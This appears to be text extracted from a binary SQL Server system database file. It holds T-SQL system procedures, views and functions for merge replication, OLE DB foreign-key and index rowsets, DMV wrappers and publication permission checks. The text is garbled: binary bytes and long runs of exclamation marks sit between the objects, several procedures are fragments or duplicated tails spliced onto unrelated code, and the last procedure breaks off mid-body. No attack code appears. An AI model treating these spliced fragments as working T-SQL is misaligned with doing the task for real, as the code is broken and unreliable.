	exec sys.sp_MSpeertopeerfwdingexec @command = @sendresponsecmdtxt, @publication = @publication, @execute = 0, @change_results_originator = 1
end 
0σ D8hN	*H	0jv h8create procedure sys.sp_MSgetlogshipagentpath 
(
    @toolpath nvarchar(260) = NULL output
)
as
begin
    set nocount on
    declare @retcode int
    --
    -- get the tools path
    --
    exec @retcode = sys.sp_MSgettools_path @install_path = @toolpath output
    if (@@error != 0 OR @retcode != 0 or @toolpath = null or @toolpath = N'') 
        return 1
    --
    -- now add the other part
    --
    select @toolpath = sys.fn_escapecmdshellsymbolsremovequotes(@toolpath) collate database_default + N'\Binn\'
    --
    -- all done
    --
    return 0
end
0ݘu Y8create procedure sys.sp_MSchecksnapshotstatus
    @publication        sysname
AS
    declare @db_name        sysname
    declare @retention      int
    declare @retention_period_unit tinyint
    declare @snapshot_ready int
    declare @pubid          uniqueidentifier
    declare @last_snapshot  datetime
    
    select @snapshot_ready = NULL
    select @db_name = db_name()
    select @snapshot_ready=snapshot_ready, @retention=retention, @retention_period_unit = retention_period_unit, @pubid=pubid
        from dbo.sysmergepublications where name=@publication and publisher=publishingservername() and publisher_db=@db_name
    if @snapshot_ready is NULL
        select @snapshot_ready=snapshot_ready, @retention=retention, @retention_period_unit = retention_period_unit, @pubid=pubid
            from dbo.sysmergepublications where name=@publication
    if @snapshot_ready is NULL
    begin
        raiserror (21423, 11, -1, @publication)
        return (1)
    end

    /*
        ** Check to see if current publication has permission
        */
        if ({ fn ISPALUSER(@pubid) } <> 1)
        begin   
                RAISERROR (21423, 11, -1, @publication)
                return (1)
        end

    if @snapshot_ready=1 and @retention>0
    begin
        select @last_snapshot=last_validated from dbo.sysmergesubscriptions where subid=@pubid
        if sys.fn_add_units_to_date(@retention, @retention_period_unit, @last_snapshot) < getdate()
            select @snapshot_ready=3 /* snapshot is obsolete */
    end
    select @snapshot_ready
return 0
FAILURE:
	rollback transaction tran_sp_MSexecwithlsnoutput
	commit transaction

	return 1
end
                  @p2p_table = @p2p_table
    return @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!~BE`@
<E2wIF0@ |8CREATE VIEW sys.dm_os_dispatchers AS
	SELECT *
	FROM OpenRowSet(TABLE DM_OS_DISPATCHERS)
0' 8
create procedure sys.sp_foreign_keys_rowset
(
    @pk_table_name          sysname,
    @pk_table_schema        sysname = null,
    @foreignkey_tab_name    sysname = null,
    @foreignkey_tab_schema  sysname = null,
    @foreignkey_tab_catalog sysname = null
)
as
    select
--        PK_TABLE_CATALOG    = db_name(r.rkeydbid),
        PK_TABLE_CATALOG    = db_name(),
        PK_TABLE_SCHEMA     = schema_name(o1.schema_id),
        PK_TABLE_NAME       = o1.name,
        PK_COLUMN_NAME      = c1.name,
        PK_COLUMN_GUID      = convert(uniqueidentifier,null),
        PK_COLUMN_PROPID    = convert(int,null),
--        FK_TABLE_CATALOG    = db_name(r.fkeydbid),
        FK_TABLE_CATALOG    = db_name(),
        FK_TABLE_SCHEMA     = schema_name(o2.schema_id),
        FK_TABLE_NAME       = o2.name,
        FK_COLUMN_NAME      = c2.name,
        FK_COLUMN_GUID      = convert(uniqueidentifier,null),
        FK_COLUMN_PROPID    = convert(int,null),
        ORDINAL             = convert(int,k.constraint_column_id),
--        UPDATE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsUpdateCascade')
        UPDATE_RULE         = CASE r.update_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
--        DELETE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsDeleteCascade')
        DELETE_RULE         = CASE r.delete_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
        PK_NAME             = i.name,
--        FK_NAME             = object_name(r.constid),
        FK_NAME             = object_name(r.object_id),
        DEFERRABILITY       = convert(smallint, 3) -- DBPROPVAL_DF_NOT_DEFERRABLE
    from
        sys.all_objects o1, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_objects o2, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_columns c1,
        sys.all_columns c2,

--        sysreferences r,
        sys.foreign_keys r inner join
        sys.foreign_key_columns k on (k.constraint_object_id = r.object_id) inner join
        sys.indexes i on (r.referenced_object_id = i.object_id and r.key_index_id = i.index_id)
    where
            (@foreignkey_tab_catalog is null or @foreignkey_tab_catalog = db_name())
        and (                                   @pk_table_name = o1.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@pk_table_schema  is null       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_name    is null or @foreignkey_tab_name = o2.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
0' 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_foreign_keys_rowset;2
(
    @foreignkey_tab_name    sysname,
    @foreignkey_tab_schema  sysname = null,
    @pk_table_name          sysname = null,
    @pk_table_schema        sysname = null,
    @pk_table_catalog       sysname = null
)
as
    select
--        PK_TABLE_CATALOG    = db_name(r.rkeydbid),
        PK_TABLE_CATALOG    = db_name(),
        PK_TABLE_SCHEMA     = schema_name(o1.schema_id),
        PK_TABLE_NAME       = o1.name,
        PK_COLUMN_NAME      = c1.name,
        PK_COLUMN_GUID      = convert(uniqueidentifier,null),
        PK_COLUMN_PROPID    = convert(int,null),
--        FK_TABLE_CATALOG    = db_name(r.fkeydbid),
        FK_TABLE_CATALOG    = db_name(),
        FK_TABLE_SCHEMA     = schema_name(o2.schema_id),
        FK_TABLE_NAME       = o2.name,
        FK_COLUMN_NAME      = c2.name,
        FK_COLUMN_GUID      = convert(uniqueidentifier,null),
        FK_COLUMN_PROPID    = convert(int,null),
        ORDINAL             = convert(int,k.constraint_column_id),
--        UPDATE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsUpdateCascade')
        UPDATE_RULE         = CASE r.update_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
--        DELETE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsDeleteCascade')
        DELETE_RULE         = CASE r.delete_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
        PK_NAME             = i.name,
--        FK_NAME             = object_name(r.constid),
        FK_NAME             = object_name(r.object_id),
        DEFERRABILITY       = convert(smallint, 3) -- DBPROPVAL_DF_NOT_DEFERRABLE
    from
        sys.all_objects o1, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_objects o2, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_columns c1,
        sys.all_columns c2,

--        sysreferences r,
        sys.foreign_keys r inner join
        sys.foreign_key_columns k on (k.constraint_object_id = r.object_id) inner join
        sys.indexes i on (r.referenced_object_id = i.object_id and r.key_index_id = i.index_id)
    where
            (@pk_table_catalog is null       or @pk_table_catalog = db_name())
        and (@pk_table_name    is null       or @pk_table_name = o1.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@pk_table_schema  is null       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (                                   @foreignkey_tab_name = o2.name)                         -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<
.*0 8 
-- add it
create view sys.dm_pdw_nodes_exec_query_optimizer_info as
select *, convert(int, null) pdw_node_id from sys.dm_exec_query_optimizer_info
0Vȼ %8CREATE FUNCTION sys.dm_exec_describe_first_result_set_for_object(@object_id int, @browse_information_mode tinyint = NULL)
RETURNS TABLE
AS
	RETURN SELECT * FROM OPENROWSET(TABLE DMF_SP_DESCRIBE_FIRST_RESULT_SET_OBJECT, @object_id, @browse_information_mode)
0w@ 
8create procedure sys.sp_MSscript_sync_del_trig (
    @objid        int,
    @publisher    sysname,
    @publisher_db sysname,
    @publication  sysname, 
    @trigname     sysname,
    @procname     sysname,
    @proc_owner      sysname,
    @cftproc      sysname,
    @agent_id      int, 
    @identity_col sysname = NULL,
    @ts_col       sysname = NULL,
    @filter_clause nvarchar(4000),
    @primary_key_bitmap  varbinary(4000),
    @pubversion int = 1,
    @falter bit = 0 -- if 1 script alter, otherwise script create
)
as
BEGIN
    declare @colname sysname
            ,@cmd          nvarchar(4000)
            ,@ins_cmd      nvarchar(4000)
            ,@outvars      nvarchar(4000)
            ,@rc           int
            ,@qualname     nvarchar(517)
            ,@fisqueued       bit

    set nocount on
    --
    -- security check
    --
    exec @rc = sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @rc <> 0
        return (1)
    exec sys.sp_MSget_qualified_name @objid, @qualname OUTPUT
    if (LOWER(@cftproc) = N'null')
    begin
        select @fisqueued =  0
                ,@cftproc = NULL
    end
    else 
        select @fisqueued =  1

    if @ts_col in ('null','NULL')
        select @ts_col = null

    if @identity_col in ('null','NULL')
        select @identity_col = null

    -- Create temp table
    create table #proctext ( c1 int identity NOT NULL, procedure_text nvarchar(4000) collate database_default null)

    -- 1st preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig1 @publisher, @publisher_db, @publication, @trigname, @objid, @procname, @filter_clause, 'del', @fisqueued, @falter, @agent_id

    -- 2nd preamble common to all synctran procs
    exec sys.sp_MSscript_begintrig2 @publisher, @publisher_db, @publication, @objid, 'del', @agent_id, @fisqueued

    -- script single row handling
    exec @rc = sys.sp_MSscript_singlerow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
            @cftproc, @identity_col, @ts_col, 'del', @primary_key_bitmap, @pubversion

    -- script multi-row handling
    exec @rc = sys.sp_MSscript_multirow_trigger @objid,@publisher, @publisher_db, @publication, @procname, @proc_owner, 
            @cftproc, @identity_col, @ts_col, 'del', @primary_key_bitmap, @pubversion

    -- script end of trigger
    exec sys.sp_MSscript_endtrig 

    -- send fragments to client
    select procedure_text from #proctext order by c1 asc
END
0& 8create function sys.fn_datediff_units(
    @unit_of_time tinyint,
    @curdate datetime,
    @startdate datetime
) returns int
as
begin
    declare @units_since_startdate int
    
    select @units_since_startdate = 
        case    when @unit_of_time = 0
                    then datediff(dd, @startdate, @curdate)
                when @unit_of_time = 1
                    then datediff(wk, @startdate,  @curdate)
                when @unit_of_time = 2
                    then datediff(mm, @startdate,  @curdate)
                when @unit_of_time = 3
                    then datediff(yy, @startdate,  @curdate)
                when @unit_of_time = 4
                    then datediff(hh, @startdate,  @curdate)
                when @unit_of_time = 5
                    then datediff(mi, @startdate,  @curdate)
        end
                    
    return @units_since_startdate
end
0͈ D8Y(h/	&H	0W 8create function sys.fn_numberOf1InBinaryAfterLoc (@byte binary, @loc int)
returns int
as
begin
    declare @index int, @mark int, @counter int
    set @counter=0
    set @index=0
    if @loc not between 1 and 8
     return 0
    while @index<@loc
    begin
       set @mark=power(2, @index)
       if @mark&@byte <>0
       begin
            select @counter = @counter+1
       end
       set @index=@index+1
    end
    return @counter
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!L>A`<
>. t*T0' 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_foreign_keys_rowset;3
(
    @pk_table_schema        sysname = null,
    @pk_table_catalog       sysname = null,
    @foreignkey_tab_schema  sysname = null,
    @foreignkey_tab_catalog sysname = null
)
as
--------------------------------------------------------------------------------------------------
-- copy & pasted from version 1 of the SProc and removed checks for 1st & 3rd parameters !
--------------------------------------------------------------------------------------------------
    select
--        PK_TABLE_CATALOG    = db_name(r.rkeydbid),
        PK_TABLE_CATALOG    = db_name(),
        PK_TABLE_SCHEMA     = schema_name(o1.schema_id),
        PK_TABLE_NAME       = o1.name,
        PK_COLUMN_NAME      = c1.name,
        PK_COLUMN_GUID      = convert(uniqueidentifier,null),
        PK_COLUMN_PROPID    = convert(int,null),
--        FK_TABLE_CATALOG    = db_name(r.fkeydbid),
        FK_TABLE_CATALOG    = db_name(),
        FK_TABLE_SCHEMA     = schema_name(o2.schema_id),
        FK_TABLE_NAME       = o2.name,
        FK_COLUMN_NAME      = c2.name,
        FK_COLUMN_GUID      = convert(uniqueidentifier,null),
        FK_COLUMN_PROPID    = convert(int,null),
        ORDINAL             = convert(int,k.constraint_column_id),
--        UPDATE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsUpdateCascade')
        UPDATE_RULE         = CASE r.update_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
--        DELETE_RULE         = CASE ObjectProperty(r.constid, 'CnstIsDeleteCascade')
        DELETE_RULE         = CASE r.delete_referential_action
                              WHEN 1 THEN N'CASCADE'
                              WHEN 2 THEN N'SET NULL'
                              WHEN 3 THEN N'SET DEFAULT'
                              ELSE        N'NO ACTION'
                              END,
        PK_NAME             = i.name,
--        FK_NAME             = object_name(r.constid),
        FK_NAME             = object_name(r.object_id),
        DEFERRABILITY       = convert(smallint, 3) -- DBPROPVAL_DF_NOT_DEFERRABLE
    from
        sys.all_objects o1, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_objects o2, -- ISSUE - PERF - do inner joins here instead of old join in where clause !!!
        sys.all_columns c1,
        sys.all_columns c2,

--        sysreferences r,
        sys.foreign_keys r inner join
        sys.foreign_key_columns k on (k.constraint_object_id = r.object_id) inner join
        sys.indexes i on (r.referenced_object_id = i.object_id and r.key_index_id = i.index_id)
    where
            (@foreignkey_tab_catalog is null or @foreignkey_tab_catalog = db_name())
        and (@pk_table_schema  is null       or @pk_table_schema = schema_name(o1.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and (@foreignkey_tab_schema  is null or @foreignkey_tab_schema = schema_name(o2.schema_id))  -- ISSUE - PERF - Do check against object_id, not against the names !!!
        and
        o1.object_id = r.referenced_object_id and
        o1.object_id = c1.object_id and
        c1.column_id = k.referenced_column_id and
        o2.object_id = r.parent_object_id and
        o2.object_id = c2.object_id and
        c2.column_id = k.parent_column_id
    order by 8,9,2,3,13
0' 8

--
-- Used for backward compatibility:
-- When pre-Yukon client is connected to Yukon server.
--
create procedure sys.sp_foreign_keys_rowset;5
(
    @server_name            sysname,
    @pk_catalog_name        sysname = null,
    @fk_catalog_name        sysname = null,
    @pk_table_name          sysname = null,
    @pk_table_schema        sysname = null,
    @foreignkey_tab_name    sysname = null,
    @foreignkey_tab_schema  sysname = null
)
as
    select
        PK_TABLE_CATALOG,
        PK_TABLE_SCHEMA,
        PK_TABLE_NAME,
        PK_COLUMN_NAME,
        PK_COLUMN_GUID,
        PK_COLUMN_PROPID,
        FK_TABLE_CATALOG,
        FK_TABLE_SCHEMA,
        FK_TABLE_NAME,
        FK_COLUMN_NAME,
        FK_COLUMN_GUID,
        FK_COLUMN_PROPID,
        ORDINAL,
        UPDATE_RULE,
        DELETE_RULE,
        PK_NAME = null,         -- ISSUE these 3 columns must be exported by the server
        FK_NAME = null,         -- in \yukon\sql\ntdbms\msql\ddl\sysoledb.cpp :
        DEFERRABILITY = null    -- const SCHEMA_COLUMNS xCol_FOREIGN_KEYS = {
    from
        sys.fn_remote_foreign_keys (@server_name,
                                    @pk_catalog_name,
                                    @pk_table_schema,
                                    @pk_table_name,
                                    @fk_catalog_name,
                                    @foreignkey_tab_schema,
                                    @foreignkey_tab_name)
    order by 7,8,9,1,2,3,13
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&`<F:0 8CREATE VIEW sys.availability_groups AS
	SELECT 
		group_id = ags.group_id,
		name = CONVERT(sysname, ags.name),
		resource_id = CAST(ags.resource_id AS nvarchar(40)),
		resource_group_id = CAST(ags.resource_group_id AS nvarchar(40)),
		failure_condition_level,
		health_check_timeout,
		automated_backup_preference,
		automated_backup_preference_desc
	FROM OpenRowset(TABLE DM_AVAILABILITY_GROUPS) ags
0 8 
-- add it
create view sys.dm_pdw_nodes_db_session_space_usage as
select *, convert(int, null) pdw_node_id from sys.dm_db_session_space_usage
0S 8 
-- add it
create view sys.dm_pdw_nodes_os_buffer_descriptors as
select *, convert(int, null) pdw_node_id from sys.dm_os_buffer_descriptors
0oE@ 8CREATE VIEW INFORMATION_SCHEMA.VIEWS
AS
SELECT
	DB_NAME()						AS TABLE_CATALOG,
	SCHEMA_NAME(schema_id)			AS TABLE_SCHEMA,
	name							AS TABLE_NAME,
	convert(nvarchar(4000),
		OBJECT_DEFINITION(object_id))		AS VIEW_DEFINITION,
	convert(varchar(7), CASE with_check_option
		WHEN 1 THEN 'CASCADE'
		ELSE 'NONE' END)				AS CHECK_OPTION,
	'NO'								AS IS_UPDATABLE
FROM
	sys.views
0&I@ 4
8CREATE PROCEDURE sys.sp_MSrepl_PAL_rolecheck
@publication sysname = NULL,
@artid uniqueidentifier = NULL,
@repid uniqueidentifier = NULL,
@pubid uniqueidentifier = NULL,
@objid int                = NULL,
@tablenick int = NULL,
@partition_id int = NULL
AS
    -- sysadmin or db_owner have access
    if is_member('db_owner') = 1 
        return 0

    if (@pubid is not NULL)
    begin
        if (1 <> {fn ISPALUSER(@pubid)})
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@publication is not NULL)
    begin
        if not exists (select * from dbo.sysmergepublications where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name() and (1 = {fn ISPALUSER(pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@artid is not NULL)
    begin
        if not exists (select * from dbo.sysmergearticles where artid = @artid and (1 = {fn ISPALUSER(pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@repid is not NULL)
    begin
        if not exists (select * from dbo.sysmergesubscriptions where subid = @repid and (1 = {fn ISPALUSER(pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@tablenick is not NULL AND @tablenick <> 0)
    begin
        if not exists (select * from dbo.sysmergearticles where nickname = @tablenick and (1 = {fn ISPALUSER(pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@objid is not NULL)
    begin
        if not exists (select * from dbo.sysmergearticles where objid = @objid and (1 = {fn ISPALUSER(pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if (@partition_id is not NULL)
    begin
        if not exists (select * from dbo.MSmerge_partition_groups p1, dbo.sysmergepublications p2 
                        where p1.partition_id = @partition_id and p1.publication_number = p2.publication_number
                            and (1 = {fn ISPALUSER(p2.pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if not exists(select * from dbo.sysmergepublications where (1 = {fn ISPALUSER(pubid)}))
    begin
        RAISERROR (14126, 11, -1)
        return (1)
    end

    return 0
0@ 8create procedure sys.sp_MScheckcontext_merge_identityrangeddlbit @is_biton bit output
as
begin
    declare @cur_context varbinary(128)
    declare @cur_context_first_byte binary(1)
    declare @merge_identityrangeddlbit_bitmask tinyint
        
    select @merge_identityrangeddlbit_bitmask = 32    
    
    -- get the current context_info. 
    select @cur_context = isnull(context_info(),0x00)
    
    -- get the first byte out of the 128 byte array.
    select @cur_context_first_byte = substring(@cur_context, 1, 1)
    
    -- check whether it has the merge agent bit set.
    select @merge_identityrangeddlbit_bitmask = (convert(tinyint,@cur_context_first_byte) & @merge_identityrangeddlbit_bitmask)
    -- set the output param value appropriately.
    select @is_biton = case when @merge_identityrangeddlbit_bitmask = 0 then 0 else 1 end
    return 0
end
0 	8create procedure sys.sp_MSmergepullsubscriptionagentjobcontrol
(
    @publisher      sysname,
    @publisher_db   sysname,
    @publication    sysname,
    @action         tinyint 
)
WITH EXECUTE AS 'dbo'
as
begin
    set nocount on
    declare @retcode            int
    declare @job_id             uniqueidentifier
    declare @subscription_type  int
    declare @pubid              uniqueidentifier
    declare @subscriber         sysname
    declare @subscriber_db      sysname

    set @retcode = 0
    set @job_id = null
    set @subscription_type = null
    set @subscriber = @@servername
    set @subscriber_db = db_name()    

    if object_id('dbo.sysmergepublications') is null
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    select @pubid = pubid 
      from dbo.sysmergepublications
     where name = @publication
       and upper(publisher) = upper(@publisher)
       and publisher_db = @publisher_db
    if @pubid is null
    begin
        raiserror (20026, 16, -1, @publication)
        return 1
    end
    
    select @subscription_type = subscription_type
      from dbo.sysmergesubscriptions
     where upper(subscriber_server) = upper(@subscriber)
       and pubid <> subid
       and pubid = @pubid
       and db_name = @subscriber_db
    if @subscription_type is null or @subscription_type = 0
    begin
        raiserror (20017, 16, -1)
        return 1
    end

    if object_id('dbo.MSsubscription_properties') is not null
    begin
        select @job_id = sjs.job_id
          from MSsubscription_properties sp
    inner join msdb.dbo.sysjobsteps sjs
            on sp.job_step_uid = sjs.step_uid
    inner join msdb.dbo.sysjobs_view sjv
            on sjv.job_id = sjs.job_id
         where upper(publisher) = upper(@publisher)
           and publisher_db = @publisher_db
           and publication = @publication              
           and sjv.master_server = 0
           and sjv.category_id = 14
           and sjs.subsystem = N'Merge'
           and (sjs.database_name is null or sjs.database_name = db_name())
    end

    if @job_id is null
    begin
        -- "The specified pull subscription is not configured with a synchronization agent job."
        raiserror(21848, 16, -1)
        return 1
    end

    exec @retcode = sys.sp_MSreplicationagentjobcontrol 
        @job_id = @job_id,
        @action = @action
    return @retcode
end
0 D8F&h+$merge_partition_groups p1, dbo.sysmergepublications p2 
                        where p1.partition_id = @partition_id and p1.publication_number = p2.publication_number
                            and (1 = {fn ISPALUSER(p2.pubid)}))
        begin
            RAISERROR (14126, 11, -1)
            return (1)
        end
    end
    else if not exists(select * from dbo.sysmergepublications where (1 = {fn ISPALUSER(pubid)}))
    begin
        RAISERROR (14126, 11, -1)
        return (1)
    end

    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`,`N<O
=	0Uz 8CREATE VIEW sys.dm_db_persisted_sku_features AS
	SELECT feature_name, feature_id
	FROM OpenRowset(TABLE persisted_sku_features)
0 8 
-- add it
create view sys.dm_pdw_nodes_os_memory_pools as
select *, convert(int, null) pdw_node_id from sys.dm_os_memory_pools
0=[ 8
create procedure sys.sp_indexes_90_rowset2
(
    @index_name     sysname = null,
    @table_schema   sysname = null
)
as
    select
        TABLE_CATALOG       = s_iv.TABLE_CATALOG,
        TABLE_SCHEMA        = s_iv.TABLE_SCHEMA,
        TABLE_NAME          = s_iv.TABLE_NAME,
        INDEX_CATALOG       = s_iv.INDEX_CATALOG,
        INDEX_SCHEMA        = s_iv.INDEX_SCHEMA,
        INDEX_NAME          = s_iv.INDEX_NAME,
        PRIMARY_KEY         = s_iv.PRIMARY_KEY,
        [UNIQUE]            = s_iv.[UNIQUE],
        [CLUSTERED]         = s_iv.[CLUSTERED],
        [TYPE]              = s_iv.[TYPE],
        FILL_FACTOR         = s_iv.FILL_FACTOR,
        INITIAL_SIZE        = s_iv.INITIAL_SIZE,
        NULLS               = s_iv.NULLS,
        SORT_BOOKMARKS      = s_iv.SORT_BOOKMARKS,
        AUTO_UPDATE         = s_iv.AUTO_UPDATE,
        NULL_COLLATION      = s_iv.NULL_COLLATION,
        ORDINAL_POSITION    = s_iv.ORDINAL_POSITION,
        COLUMN_NAME         = s_iv.COLUMN_NAME,
        COLUMN_GUID         = s_iv.COLUMN_GUID,
        COLUMN_PROPID       = s_iv.COLUMN_PROPID,
        [COLLATION]         = s_iv.[COLLATION],
        CARDINALITY         = s_iv.CARDINALITY,
        PAGES               = s_iv.PAGES,
        FILTER_CONDITION    = s_iv.FILTER_CONDITION,
        INTEGRATED          = s_iv.INTEGRATED,
        STATUS              = s_iv.STATUS

    from
        sys.spt_indexes_view s_iv

    where
        (@table_schema is null or schema_id(@table_schema) = s_iv.SCHEMA_ID) and
        (@index_name is null   or @index_name = s_iv.INDEX_NAME)

    order by 8, 10, 4, 5, 6, 17
0- [8--
-- Name: sp_vupgrade_registry
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_vupgrade_registry
as
    set nocount on
    declare @regkey                                nvarchar(1000)
    declare @retcode                               int
    declare @dbname                               sysname
    declare @has_dbaccess                      bit
    declare @instance_name                     sysname
    declare @instance_id                          sysname

    -- During the setup config object codepath, the old resolvers will have been copied to
    -- a temporary key inside the instance hive. We need to put these values into the database and then delete the registry key.
    -- The config object should delete the old key if this is the last instance on the box

    -- get the instance name
    select @instance_name =  convert(sysname, SERVERPROPERTY(N'InstanceName'))
    if @instance_name is null
        select @instance_name  =  N'MSSQLSERVER'

    -- map instance name to instance id via the registry
